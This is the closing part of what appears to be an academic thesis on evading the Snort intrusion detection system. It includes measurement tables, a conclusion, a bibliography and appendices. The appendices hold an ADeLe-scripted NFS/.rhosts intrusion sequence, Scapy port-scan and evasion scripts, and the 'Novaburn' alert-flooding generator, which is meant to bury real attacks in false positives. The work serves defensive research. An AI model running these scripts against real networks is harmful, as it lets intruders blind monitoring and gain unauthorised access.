telnet.rules – preprocessor disabled 75 s 14138 0.94 MB
tftp.rules 67 s 21961 1.56 MB
tftp.rules – Jumbo 67 s 41560 15 MB
tftp.rules – 3x 206 s 65112 4.68 MB
tftp.rules – 3x Jumbo 210 s 128022 45 MB
Stick 300 s 324982 63 MB

Table 5.17: False positives generation – measurement

has shown that the amount of warnings among all generated alerts is approxi-
mately 28%. Tftp packets did not produce any preprocessor warnings.
Stick tool was used for comparison. It was running for a fixed time of 5 min-
utes and I measured transmitted data and produced alerts. Alerts were generated
from A1 rule mentioned in chapter as Stick is unable to create valid TCP packets.

Source rules file Alerts/s Alerts/packet Dataflow


telnet.rules 262 1.31 100 kbit/s
telnet.rules – Jumbo 694 4.21 220 kbit/s
telnet.rules – 3x 417 1.23 175 kbit/s
telnet.rules – 3x Jumbo 493 3.37 200 kbit/s
telnet.rules – preprocessor disabled 189 0.94 100 kbit/s
tftp.rules 328 1.46 190 kbit/s
tftp.rules – Jumbo 620 2.77 1.8 Mbit/s
tftp.rules – 3x 316 1.45 190 kbit/s
tftp.rules – 3x Jumbo 610 2.84 1.75 Mbit/s
Stick 1083 — 1.7 Mbit/s

Table 5.18: False positives generation – results

Measured values show the attacker is able to generate at least 189 alerts per
second but in some cases she can even exceed 600 packets per second. Gener-
ally tftp related alerts were generated more easily. This is probably because of
used UDP protocol which requires less management. From attacker’s point of
view jumbo packets proved to be more advantageous then simple packets. The
increase in alerts per second ratio was more rapid than the increase in required
dataflow. With bigger event queue (default is 3) the difference would be even
greater. Absolute dataflow low never exceeded 2 Mbits/s. Stick tool proved to be
much faster than Scapy. With proper modifications (checksum computing, prior
handshake) and carefully chosen jumbo packets it should be able to exceed 2500
alerts per second. Snort had no problem handling this amount of alerts with 0

58
5. ATTACKS IMPLEMENTATION

dropped packets and the minimal processor load.


Simultaneous sending of packets has shown a significant increase in alerts if
small packets were used. However with big packets the total count of alerts was
lower. This is probably due to Scapy’s performance limitations as it requires quite
a lot computing power. If this computing power is unavailable the sending rate
is decreasing.
Overall I believe 100 alerts per second are quite enough to hide any ongoing
attack. Potentially dangerous is also difference between transmitted bytes and
size of generated alerts. With simple telnet packets the size of alerts was approxi-
mately 3 times bigger than the amount of data required for generating them. This
leaves the possibility of a distributed DoS attack aimed at the exhaustion of the
IDS’s memory.
The best defense against the false positives flood is thresholds. By limiting
the number of alerts for each rule in a certain period of time administrators can
minimize the output of Snort. For example if each telnet rule can produce an
alert only once in a minute the total sum of alerts generated by Novaburn would
be around 0.33 per second. However thresholds act only as output filters so the
memory exhaustion effect is not prevented.

59
6 Conclusion
Internet is a dangerous place. Linked computers are targets of constant attacks
and new more sophisticated attacks emerge every day. Reliable automated de-
tection is necessary for our systems to stay safe. Intrusion detection systems are
an essential component of the overall defense. With the increase in IDS usage we
have to focus on connected problems. An IDS which is not reliably detecting at-
tacks is potentially more dangerous than no IDS at all because it brings a false
illusion of security.
We have to understand methods used by attackers in order to be able to de-
fend against them. The goal of this thesis was to map application-independent
intrusion detection system evasion techniques, implement some of them and sug-
gest defensive approaches.
A list of existing evasion techniques was presented. Evasion techniques were
divided into five classes. Real attacks are either representatives of one of these
classes or of a conjunction of two or more classes. At least one attack from each
class was implemented and its impact was evaluated.
I concluded that evasion techniques still pose a threat in spite of they are
known for more than ten years. Most of implemented techniques were successful
at least on some conditions. Some attacks can be automated with a reasonable
probability of success (e.g. packet TTL attack, MTU attack) which predestinates
them for use by script kiddies. Several attacks even cannot be thwarted (e.g. port
scan timing attack, fragmentation timeout attack), only limited. Snort IDS pro-
vides basic countermeasures but their configuration is limited and requires non-
trivial knowledge. Other general defensive suggestions were also introduced.
Future research may focus on application-level evasion techniques or adapta-
tion of described techniques for anomaly-based IDS.

60
Bibliography
[Arb05] Michael Arboi, The NASL2 reference manual,
<http://www.nessus.org/doc/nasl2_reference.pdf> (reviewed on
2009/5/26), April 2005.

[aut] Unknown author, Firewall/IDS Evasion and Spoofing,


<http://nmap.org/book/man-bypass-firewalls-ids.html> (reviewed on
2009/5/26).

[aut06] Composite authors, Handbook of Information Security, vol. 3, John


Wiley & Sons, Inc., 2006.

[BBE07] Jay Beale, Andrew R. Baker, and Joel Esler, Snort IDS and IPS
Toolkit, Syngress Publishing, Inc., 2007.

[Car02] Earl Carter, Cisco Secure Intrusion Detection System, Cisco Press,
2002.

[Cor01] G. Cortez, Statefull inspection on IDS - Stick,


<http://seclists.org/incidents/2001/Mar/69> (reviewed on 2009/5/26),
March 2001.

[DCF07] H. Debar, D. Curry, and B. Feinstein, The Intrusion Detection


Message Exchange Format (IDMEF), March 2007.

[Eck01] Steven T. Eckmann, Translating Snort rules to STATL scenarios,


<www.raid-symposium.org/raid2001/papers/eckmann_raid2001.pdf>
(reviewed on 2009/5/26), 2001.

[EVK00] Steven T. Eckmann, Giovanni Vigna, and Richard A. Kemmerer,


Attack Languages, <http://citeseerx.ist.psu.edu/viewdoc/download;jsessi
onid=01173E4AE0F9EE5B6CC63EAFEC448855?doi=10.1.1.32.407&rep
=rep1&type=pdf> (reviewed on 2009/5/26), 2000.

[EVK01] Steven T. Eckmann, Giovanni Vigna, and Richard Kemmerer, STATL


Definition, <http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.21
.7216&rep=rep1&type=pdf> (reviewed on 2009/5/26), 2001.

[EVK02] Steven Eckmann, Giovanni Vigna, and Richard Kemmerer, STATL:


An Attack Language for State-based Intrusion Detecion,
http://www.cs.ucsb.edu/∼vigna/publications/2000_eckmann_vigna_kemm
erer_statl.pdf (reviewed on 2009/5/26), 2002.

[FKP+ 99] Rich Feiertag, Cliff Kahn, Phil Porras, Dan Schnackenberg, Stuart
Staniford-Chen, and Brian Tung, A Common Intrusion Specification
Language (CISL), <http://gost.isi.edu/cidf/drafts/language.txt>
(reviewed on 2009/5/26), June 1999.

61
6. C ONCLUSION

[Foy07] Brian D. Foy, Mastering Perl, O’Reilly Media, July 2007.

[GC] Samuel A. Gorton and Terrence G. Champion, Combining Evasion


Techniques to Avoid Network Intrusion Detection Systems.

[Hac] Eric Hacker, IDS Evasion with Unicode,


<http://www.symantec.com/connect/articles/ids-evasion-unicode>
(reviewed on 2009/5/26).

[iIT06] The VeriSign iDefense Intelligence Team, Intrusion Detection System


(IDS) Evasion, Tech. report, May 2006.

[Jos99] Nicolai M. Josuttis, The C++ Standard Library: A Tutorial and


Reference, Addison-Wesley Professional, August 1999.

[KPSCT98] Clifford Kahn, Philip A. Porras, Stuart Staniford-Chen, and Brian


Tung, A Common Intrusion Detection Framework,
<http://gost.isi.edu/cidf/papers/cidf-jcs.ps> (reviewed on 2009/5/26),
1998.

[lib] libpcap project homepage, <http://www.tcpdump.org> (reviewed on


2009/5/26).

[McN04] Chris McNab, Network Security Assessment, O’Reilly Media, Inc.,


March 2004.

[MM01] Cédric Michel and Ludovic Mé, ADELE An Attack Description


Language for Knowledge-based Intrusion Detection, 2001.

[Nov05] Judy Novak, Target-Based Fragmentation Reassembly,


<http://www.cs.luc.edu/∼pld/courses/447/sum08/class3/novak.target_based
_frag.pdf> (reviewed on 2009/5/26), September 2005.

[NS07] Judy Novak and Steve Sturges, Target-Based TCP Stream


Reassembly, <http://assets.sourcefire.com/snort/developmentpapers
/stream5modelAug032007.pdf> (reviewed on 2009/5/26), August
2007.

[Pin] Denial of Service Attacks: An Emerging Vulnerability for the


"Connected" Network,
<http://www.sonicwallsolutions.com/pdfs/white_pap
ers/denial_of_service_attacks.pdf> (reviewed on 2009/5/26).

[PN98] Thomas H. Ptacek and Timothy N. Newsham, Insertion, Evasion


and Denial of Service: Eluding Network Intrusion Detection,
<http://cs.unc.edu/ fabian/course_papers/PtacekNewsham98.pdf>
(reviewed on 2009/5/26), January 1998.

62
6. C ONCLUSION

[PSSC98] Phil Porras, Dan Schnackenberg, and Stuart Staniford-Chen, The


Common Intrusion Detection Framework Architecture,
<http://gost.isi.edu/cidf/drafts/architecture.txt> (reviewed on
2009/5/26), 1998.

[PYD] Samuel Patton, William Yurcik, and David Doss, An Achilles’ Heel
in Signature-Based IDS: Squealing False Positives in SNORT,
<http://www.raidsymposium.org/raid2001/papers/patton_yurcik
_doss_raid2001.pdf> (reviewed on 2009/5/26).

[RNH] Daniel Roelker, Marc Norton, and Jeremy Hewlett, sfportscan


README.

[Roea] Daniel J. Roelker, HTTP IDS Evasions Revisited,


<http://docs.idsresearch.org/http_ids_evasions.pdf> (reviewed on
2009/5/26).

[Roeb] Martin Roesch, frag3 README.

[SEJ] Randy Smith, Cristian Estan, and Somesh Jha, Backtracking


Algorithmic Complexity Attacks Against a NIDS,
<http://www.acsac.org/2006/papers/54.pdf> (reviewed on 2009/5/26).

[Sid05] Sumit Siddharth, Evading NIDS, revisited,


<http://www.symantec.com/connect/articles/evading-nids-revisited>
(reviewed on 2009/5/26), December 2005.

[SM07] Karen Scarfone and Peter Mell, Guide to Intrusion Detection and
Prevention Systems (IDPS), February 2007.

[SMCA09] Carl Smith, Ashraf Matrawy, Stanley Chow, and Bassem Abdelaziz,
Computer Worms: Architectures, Evasion Strategies, and Detection
Mechanisms, Journal of Information Assurance and Security 4
<http://www.mirlabs.org/jias/smith.pdf> (reviewed on 2009/5/26),
2009.

[Sou10] Inc. Sourcefire, SNORT Users Manual 2.8.6, April 2010.

[SP] Umesh Shankar and Vern Paxson, Active Mapping: Resisting NIDS
Evasion Without Altering Traffic,
<http://www.icir.org/vern/papers/activemap-oak03.pdf> (reviewed on
2009/5/26).

[Spi02] Lance Spitzner, Honeypots: Definition and value of honeypots,


<http://www.thehackademy.net/madchat/reseau/defense/Honeypots.pdf>
(reviewed on 2009/5/26), May 2002.

[Stu] Steve Sturges, Stream5 README.

63
A ADeLe example
Alert NFS_Mount (IN IPaddr targetip, OUT String account, OUT Connection cnx) {
<EXPLOIT>
<PRECOND>
Accesslevel == "REMOTE" #initial access level required
</PRECOND>

<ATTACK> <LANG> "EDL" </LANG>


String output; #gets everything displayed in the console
Integer ret_val; #exit code for the command
String rpc_services;
Integer ret_val0;
Connection shellhandler;

EVENT E0{
#Exec_shell_cmd(<shell_command>,<console_output>,<return_value>)
Exec_shell_cmd("rpcinfo -p "+targetip,rpc_services,ret_val0);
}
IF (ret_val0==0)&&("portmapper" IN rpc_services)&&("mountd" IN rpc_services){
Non_ordered{ #unspecified order!
[ Integer ret_val1;
String exported_partitions;
EVENT E1{
Exec_shell_cmd("showmount -e "+targetip,exported_partitions,ret_val1);
}
]
[ Integer ret_val2;
String users_list;
EVENT E2{
Exec_shell_cmd("finger @"+targetip,users_list,ret_val2);
}
]
}#Non_ordered
IF (ret_val1==0)&&(ret_val2==0){
String partition_found;
String user;
#Exists_exported_everyone(<input>,<partition_list>)
IF Exists_exported_everyone(exported_partitions,partition_found)
#Cross_part_users(<partition_list>,<users_list>,<matching_user>)
&& Cross_partition_users(partition_found,users_list,user){
IF !Exists_local_user(user){
Add_local_user(user); #no observable event!
}
EVENT E3 {
Exec_shell_cmd("mount -t nfs "+targetip+":/home/"+user+" /home/"+user,
output,ret_val)}
}
One_among{ #addition of "+ +" to the .rhosts file
[ EVENT E4{
Exec_shell_cmd("echo ’+ +’ >>~"+user+"/.rhosts",output,ret_val);
}
]
[ EVENT E5 {
Exec_shell_cmd("echo ’+ +’ >~"+user+"/.rhosts",output,ret_val);
}
]
}#One_Among
EVENT E6 {
shellhandler:=Exec_cmd_shell("rlogin "+targetip+" -l "+account,
output,ret_val);
}
#now we have "User" access level
account:=user;
cnx:=shellhandler;
}
}
}

</ATTACK>

<POSTCOND>
Accesslevel := "USER"
</POSTCOND>

</EXPLOIT>

<DETECTION>
<DETECT>
<EVENTS>
#list of events types occuring during this attack (IDMEF notation)
E0 : Network.Classification[0].name == "rpcinfo -p"
E1 : Network.Classification[0].name == "showmount -e"
E2 : Network.Classification[0].name == "finger @"
E3 : Network.Classification[0].name == "mount home_directory"
E4 : System.Classification[0].name == "file append"
E5 : System.Classification[0].name == "file create"
E6 : Network.Classification[0].name == "rlogin"
</EVENTS>

64
A. AD E L E EXAMPLE

<ENCHAIN>
E0 ; Non_ordered{E1 E2} ; E3 ; One_among{E4 E5} ; E6
</ENCHAIN>

<CONTEXT>
E4.File_Modified.name == ".rhosts"
E5.File_Created.name == ".rhosts"
IPAddr X := E0.Target[0].Node.Address.address
E1.Target[0].Node.Address.address == X
E2.Target[0].Node.Address.address == X
E3.Target[0].Node.Address.address == X
E4.Target[0].Node.Address.address == X
E5.Target[0].Node.Address.address == X
E6.Target[0].Node.Address.address == X
</CONTEXT>
</DETECT>

<CONFIRM>
#File_Contains(<file>,<contents>)
File_Contains("/home/"+E6.Target[0].User.name+"/.rhosts" , "+ +");
</CONFIRM>

<REPORT>
#construction of the returned alert here
Alert.version := "1"
Alert.alertid := NewAlertid()
Alert.impact := "9"
Alert.Time.time := NewTime()
Alert.Analyzer.ident := "121212"
Alert.Classification[0].origin := "ADeLe"
Alert.Classification[0].name := "NFS_Mount"
Alert.Classification[0].url := ""
Alert.Target[0].Node.Address.category := "2"
Alert.Target[0].Node.Address.address := E0.Target[0].Node.Address.address
Alert.Source[0].Node.Address.category := "2"
Alert.Source[0].Node.Address.address := E6.Source[0].Node.Address.address
</REPORT>
</DETECTION>

<RESPONSE>
</RESPONSE>
}

65
B Port scan Scapy scripts
#--------------------------------------------------
# SYN scan
#--------------------------------------------------
ans = sr(IP(dst="10.0.2.5")/TCP(dport=(1,1024),sport=5000,flags="S"))
ans[0].summary()

#--------------------------------------------------
# FIN scan
#--------------------------------------------------
ans = sr(IP(dst="10.0.2.5")/TCP(dport=(1,1024),sport=5000,flags="F"))
ans[0].summary()

#--------------------------------------------------
# Time span
#--------------------------------------------------
timespan = 0.65 # 0.33, 0.44, 0.47, 0.65, etc.
ans = sr(IP(dst="10.0.2.5")/TCP(dport=(1,1024),flags="S"),inter=timespan)
ans.summary()

#--------------------------------------------------
# Source port randiomization
#--------------------------------------------------
dport_start = 1
dport_end = 1024
sport_start = 5000
sport_end = 10000
ip = IP(dst="10.0.2.5")
tcp = TCP(dport=(dport_start,dport_end),flags="S")
packet = ip/tcp
packet_array = [x for x in packet]
for x in range(dport_start,dport_end):packet_array[x].payload.sport=random.randint(sport_start,sport_end)
ans = sr(packet_array)
ans[0].summary()

#--------------------------------------------------
# Destination port randiomization
#--------------------------------------------------
dport_start = 1
dport_end = 1024
src_port = 5000
ip = IP(dst="10.0.2.5")
tcp = TCP(dport=(dport_start,dport_end),flags="S")
packet = ip/tcp
packet_array = [x for x in packet]

for x in range(dport_start,dport_end):packet_array[x].payload.sport=src_port

for x in range(dport_start,dport_end):packet_array[x].payload.dport=random.randint(dport_start,dport_end)

ans = sr(packet_array)
ans[0].summary()

66
C False positives generator script
#--------------------------------------------------
#
# Novaburn false positives generator
#
# Vit Bukac, 2010
#--------------------------------------------------

import re
import binascii

filename = "/root/rules/telnet.rules"
source_ip = "10.0.1.5"
destination_ip = "10.0.2.5"
setflag="PA"

# Create packets from Snort rules


def CreatePackets(filename):
# IP parameters are gathered from rules
packetarray = []
file = open(filename,’r’)
for line in file.readlines():
if re.match("alert", line):
RuleAcceptable = True
elements = line.rsplit("(")
arr_ip = elements[0].rsplit(" ")
protocol = arr_ip[1]
source_port = arr_ip[3]
if source_port=="any":
source_port = random.randint(1025,65000)
destination_port = arr_ip[6]
if destination_port=="any":
destination_port = random.randint(1025,65000)
arr_meta = elements[1].rsplit(";")
payload = ""
for meta in arr_meta:
arr_key_and_value = meta.rsplit(":")
buffer = ’’
if arr_key_and_value[0].strip()=="content":
content = arr_key_and_value[1]
content = content.replace(’"’,’’)
payload_array = content.rsplit("|")
payload_text = True
for i in range(len(payload_array)):
if payload_text==True:
payload = payload + payload_array[i]
payload_text = False
else:
nonhex = ((payload_array[i].replace(’ ’,’’)).replace(’|’,’’)).replace(’"’,’’)
payload = payload + binascii.a2b_hex(nonhex)
payload_text = True
payload = payload + buffer

buffer = ’’
if arr_key_and_value[0].strip()=="isdataat":
value = arr_key_and_value[1]
number = int((value.rsplit(","))[0])
buffer = ’o’ * (number+8)
payload = payload + buffer

# Ignore rules which track packets to client


if (arr_key_and_value[0].strip()=="flow"):
if (arr_key_and_value[1].find("to_client")>-1):
RuleAcceptable = False
elif (arr_key_and_value[1].find("from_server")>-1):
RuleAcceptable = False
# Ignore rules specified by regular expressions
if (arr_key_and_value[0].strip()=="pcre"):
RuleAcceptable = False

if RuleAcceptable:
ip = IP(src=source_ip,dst=destination_ip)
if (protocol=="tcp"):
tcp = TCP(sport=int(source_port),dport=int(destination_port),flags=setflag)
packetarray.append(ip/tcp/payload)
if (protocol=="udp"):
udp = UDP(sport=int(source_port),dport=int(destination_port))
packetarray.append(ip/udp/payload)
return packetarray

67
C. FALSE POSITIVES GENERATOR SCRIPT

# Create Jumbo packet - packet, which contains all payload from given array
# Order of payload in each jumbo packet is randomized
def CreateJumbo(SourcePacketArray,ip,tcp,PacketCount):
array = []
for j in range(PacketCount):
random.shuffle(SourcePacketArray)
JumboPayload = ’’
for i in range(len(SourcePacketArray)):
JumboPayload = JumboPayload + str(SourcePacketArray[i].payload.payload)
array.append(ip/tcp/JumboPayload)
return array

# Rush packets, destination settings unchanged


# packets are sent randomly
def NoHandshakeRush(PacketArray,SendCount):
for i in range(SendCount):
ChosenOne = random.randint(0,len(PacketArray)-1)
send(PacketArray[ChosenOne])
return 0

# Perform 3WH once and than send packets, overload destination settings
# packets are sent randomly
def SingleHandshakeRush(PacketArray,Once3WH_source_IP,Once3WH_destination_IP,Once3WH_destination_port,SendCount):

# Modify packets for unified IP layer


Once3WH_initial_seq = random.randint(1000,100000)
Once3WH_source_port = random.randint(1025,65000)
for i in range(len(PacketArray)):
PacketArray[i].payload.sport = Once3WH_source_port
PacketArray[i].payload.dport = Once3WH_destination_port
PacketArray[i].payload.flags = "PA"

# Handshake
ip = IP(src=Once3WH_source_IP,dst=Once3WH_destination_IP)
SYN = TCP(sport=Once3WH_source_port,dport=Once3WH_destination_port,flags="S",seq=Once3WH_initial_seq)
SYNACK = sr1(ip/SYN)
num_ack = SYNACK.seq + 1
num_seq = Once3WH_initial_seq + 1
ACK = TCP(sport=Once3WH_source_port,dport=Once3WH_destination_port,flags="A",ack=num_ack,seq=num_seq)
send(ip/ACK)

# Send packets
for i in range(SendCount):
ChosenOne = random.randint(0,len(PacketArray)-1)
PacketArray[ChosenOne].payload.ack = num_ack
PacketArray[ChosenOne].payload.seq = num_seq
send(PacketArray[ChosenOne])
num_seq = num_seq + len(PacketArray[ChosenOne].payload.payload)
return 0

68

S-ar putea să vă placă și